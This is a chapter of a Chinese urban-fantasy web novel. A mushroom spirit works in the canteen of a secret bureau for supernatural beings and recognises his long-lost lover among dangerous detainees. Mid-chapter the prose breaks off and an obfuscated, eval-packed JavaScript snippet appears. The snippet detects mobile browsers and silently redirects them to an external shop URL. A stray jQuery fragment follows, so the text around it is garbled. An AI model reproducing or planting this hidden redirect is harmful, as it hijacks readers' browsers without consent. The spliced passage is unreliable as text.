一场暴雨过后,建华旧货调剂市场像是被薄薄刷了层清漆。

    歪斜的石棉瓦棚滴着水,断断续续汇进水泥地上的坑洼里,空气里浮着一股潮湿的腐朽味,间或能闻见旧木头和铜锈的气息。

    阴冷潮湿的天气对宋嵘而言再舒坦不过,他收回飘向窗外的目光,伸了个懒腰,舒展着筋骨。

    这点儿小动作逃不过食堂主管范深的眼睛。

    他冲宋嵘抬了抬下巴,使唤道:“别偷懒!趁现在来吃饭人还不多,你去后厨帮忙!”

    被点名的新晋勤杂工不敢怠慢,一路小跑向前,没顾着看路,险些撞到了往打饭窗口宋份数盆的同事项寻:“哇,当心点儿啊。”

    宋嵘边跑边双手合十做了个“抱歉”的手势。

    他在后厨有一项特殊任务。

    摘掉隔热手套,宋嵘仔仔细细洗了一遍手,立刻就被厨师长老欧拉到还在冒热气的铁锅边:“来,调个味。”

    锅里是今日份的山药排骨汤。

    食材用的是上好黑猪肋排,份量也足。

    宋嵘将双手伸向汤锅上方,熟练地对准汤锅搓捻食指和拇指,下一秒,泛着淡金色微光的粉末从他的指尖悄然飘落,无声地融入沸腾的汤水中。

    鲜香瞬间弥漫开来。

    老欧看得连连点头:“还是周处眼光独到啊,招了个松茸精进食堂,这每年得给咱们‘特管处’食堂省下多少鸡精、味精和松鲜鲜啊!”

    宋嵘:“……”

    行吧。

    这就是自己在特管处的核心竞争力。

    特管处,全称“特异物种管理处”,是槐安市民政局下属的二级单位,主要负责管理非正常生命体在现代社会中的行为规范和身份掩护,偶尔也会联合其他部门调停纠纷以及处理危机。

    虽说存在即是合理,但千百年来,人类对于特异物种的存在仍然讳莫如深,特管处各部门行事不宜高调,索性就将工作地址安置在槐安城南的建华旧货调剂市场,一来,这地方偏僻幽静,人烟稀少,二来,即便任职的特异物种不小心显现真身,也能借搁置在院子里的花草瓦罐、家具电器作为掩护。

    最初得知这个神秘单位的存在,宋嵘十分震惊。

    更令他震惊的是,神秘部门竟然愿意聘用他这种难堪重任的小妖怪……

    其实,在来到槐安市之前,宋嵘曾不止一次尝试人类的生活方式,只是每一次都会遇到各种各样的问题,最后不得不逃回深山、继续当一只缩头蘑菇。

    这次如果不是周处出面给自己安排工作,以他目前的文化程度和身体素质,也很难在现代社会中体面地生存下去。

    胡思乱想之际,耳边响起项寻的彩虹屁:“小嵘可是货真价实的松茸,跟鸡精、味精、松鲜鲜能一样吗?”

    另一个同事章小娇探着脑袋过来拆台:“那什么,松鲜鲜不就是松茸粉吗?”

    “那怎么能一样?”俨然是做足了功课,项寻连声音都拔高了几个分贝,“超市里卖的松茸粉都是用菌菇粉和增鲜剂调出来的,真正的好松茸没法人工培育,全靠野生采集,是很难见到的高级——食材!”

    听着项寻故意拖长的尾音,章小娇念叨着“怪不得”,又冲还在为其他菜品增鲜调味的松茸精猛吸鼻子:“啥时候跟周处说说,让咱们食堂开个带货直播吧?就把宋嵘挂小黄车,肯定能卖爆!”

    周围几个人齐齐笑出声来。

    特别是项寻,边笑边直勾勾地看着高级食材。

    宋嵘也跟着笑。

    他本就生得白净秀气,睫毛、发色都很淡,加上常年气血不足,嘴角上扬时颧骨上的皮肤绷得近乎透明,笑意像是从别处借来的,虚虚地浮在脸上,没到眼尾就散了。

    用人类的词汇来形容就是——有一种破碎感。

    这话也是章小娇说的。

    宋嵘盯着自己的指尖,琢磨着,是破碎哈。

    都碎成粉末末了。

    老欧看了眼电子时钟,抬手在项寻眼前一晃,用一种“看穿一切”的语气道:“别看了,干活去吧。”

    继而压低声音提醒:“人家已经有对象了。”

    被拆穿心思的年轻人急忙收回目光:“是、是吗?”

    老欧耸肩:“那天跟宋嵘闲聊的时候,听他提过一嘴。”

    见项寻肉眼可见地撇下嘴角,他话锋又转:“不过,两人好像闹了不愉快,说是蛮久没见面了,就连宋嵘自己都不清楚对方人在哪里,我看他不想多说,也就没再继续问,你说不定还有机会。”

    像妖怪这一类容貌不见老的“长生种”,想要与人类共存就得不停挪地方,换一张又一张的身份证,学一门又一门的手艺活,送一程又一程的故人影,就算今天是相濡以沫的恋人,也有可能明天就失散于人海。

    凡人等不起,同类亦殊途。

    听到此等八卦后,项寻先是向宋嵘递去同情的目光,然后才打着哈哈告诉老欧自己没有那种心思,逃似的离开了后厨。

    徒留厨师长在原地边摇头、边叹息:“周处也是人善,尽捡一些小可怜回来。”

    *

    特管处的工作时间说是“朝九晚五”,但架不住与妖怪有关的事务错综复杂、处理起来非常棘手,突发状况也多,所以,食堂会为加班的职工准备晚餐。

    宋嵘入职半个月,算是摸清楚了一些规律:比如今天下雨,留下的同事就会多些,晚餐的菜量就要增加,下班时间也会更晚。

    晚上八点,他照例完成后厨的清洁工作和安全检查,来到更衣室取回自己的伞,正打算熄灯离开,紧随其后的项寻却塞给他一个打包盒:“今天的鲅鱼饺子剩了不少,老欧让我们带回宿舍当宵夜。”

    厨师长负责清点每天的剩余食材,老欧不喜浪费,就会让几个妖怪下属把没吃完的饭菜带走。

    宋嵘还没有完全适应集体生活,每次吃员工餐都很克制,忙活一天早就觉得饿了,听到有鲅鱼饺子当宵夜,眼睛登时一亮,想了想又犹豫:“拿回宿舍都凉了吧?”

    说完就后悔了。

    虽然人类有句话叫“饺子要吃烫烫的”,但其实偶尔吃点凉饺子也没关系——能填饱肚子就很好了。

    记得自己最初学会化形的时候,不知道妖怪维持人形还要吃五谷杂粮,肚子一咕咕叫就拼命喝山泉水、井水、雨水甚至露水,最后还是饿晕在了路边,险些被一波贼人绑了卖去花街柳巷……

    算了。

    三千年前的封建糟粕不提也罢。

    项寻摆摆手,打断了宋嵘的回忆:“怎么可能让你吃凉的嘛,我回去就找楼上那位‘热饭菩萨’借个火。”

    职工宿舍严禁使用大功率电器,更严禁明火,但架不住职工本身就能制造明火:宿舍顶层就住着一块成了精的白磷矿石,随时随地燃烧自己,温暖同事,故而被亲切地称呼为“热饭菩萨”。

    宋嵘点点头:“谢谢。”

    这反应倒是让项寻有点不好意思:“都是同事,你跟我客气什么!”

    借着昏黄的路灯光,两人沿着旧货市场的小路往员工宿舍走,雨后带着泥土

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17773912|209978||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    腥气的风吹过堆积成山的旧家具,又裹挟上一股潮湿的木头味。

    项寻斟酌着言语,好不容易才问出句完整的话:“我今天无意间听老欧说,你已经……有对象了啊?”

    宋嵘“嗯”了声:“还没来得及跟你们说。”

    项寻抓了把棕咖色的头发,延续了这个话题:“哦,那你对象是什么人——那什么,既然你们在一起很久、很久了,那他应该不是人类吧?咳,稍微有点好奇……你要是不介意,跟我说说呗?”

    提及恋人,宋嵘下意识攥紧了手里的伞,不止是呼吸、眼神,就连说话的语气都突然变得跟平时不太一样:“他?他叫顾宣琅,年纪跟我差不多——啊,我是说他化形的年纪,其他没什么好说的,我已经很长时间没见过他了……反正,就是个性格古怪,脾气很坏,阴晴不定的妖怪。”

    顿了顿,又小声补充:“虽然长得很好看……”

    话没说完就急于否定:“长得再好看也是块臭石头!”

    怨念。

    觉察到室友故作不屑的神情下藏着极深的怨念,项寻赶紧转移话题:“那他知道你入职特管处了吗?怎么也不过来看看你?”

    宋嵘被问住了:“呃……”

    情况有点复杂。

    还没来得及解释缘由,项寻就猛地拽住他的胳膊,将人拉向建筑物阴影底下:“……是监管科行动组的车!快走,快走!”

    监管科是整个特管处最不好惹的部门,行动组更是要命,专门执行一些高危特异物种登记、监控之类的任务,必要时还会强制收容。

    为了不扰单位白天的工作秩序,行动组成员一般会选择在晚间外出执行追捕任务——就像今天这样。

    宋嵘怯怯瞄了一眼:特制的押运车通体漆黑,稳稳停在审讯室外的隔离区,两位行动组同事将一名身穿白色束缚衣的特异物种自后排车厢“请”出来,等车子熄了火,前排两人又分别从后面跟上,对其形成严密的包围圈。

    包围圈中间的家伙虽然被白色束缚衣裹住全身、只露出上半张脸,但依然能从身形轮廓看出是个高挑匀称的年轻男人;黑色束缚带从他的肩胛缠绕至脚踝,勒得极紧,以至于只能缓缓迈动双腿、小步前行。

    借着路灯一点微弱的光芒,宋嵘看清了露出来的那双眼睛:瞳色极深,像极了腊月寒潭里的墨玉。

    三千年过去了,这双眼睛居然一点都没变。

    只是,此刻男人眼下泛着青黑,多出几分疲惫感。

    宋嵘一时间呼吸困难,停在原地不走了:“那个人……”

    项寻将他向更深的阴影处推了一把,用自己的身体挡住那些押送者的警惕目光,小声解释道:“你刚来可能还不清楚,那些穿束缚衣的都是危险级别在S级以上的特异物种,未必能像我们这样融入人类社会……别看了,快走吧。”

    宋嵘想起自己那张危险级别为D级的评估报告,信服地点了点头:“但是……”

    见室友的视线还是钉死在那抹渐渐走远的森白身影上,项寻又催促他快走:“没什么可但是的,别惹上麻烦!”

    轰隆隆。

    雷声从远处滚过来,闷闷的,浅灰色的云层也不知何时重新聚拢在头顶,身边那些蓄积着污水的塑料布、锈迹斑斑的家电和横七竖八的木板在雷光里忽明忽暗、轮廓模糊,像一群蛰伏许久的怪物。

    又要下雨了。

    攥紧手里的长柄黑伞,宋嵘深吸一口气,坚持将被打断的话说完:“但是,行动组刚刚带回来的家伙,好像就是顾宣琅。”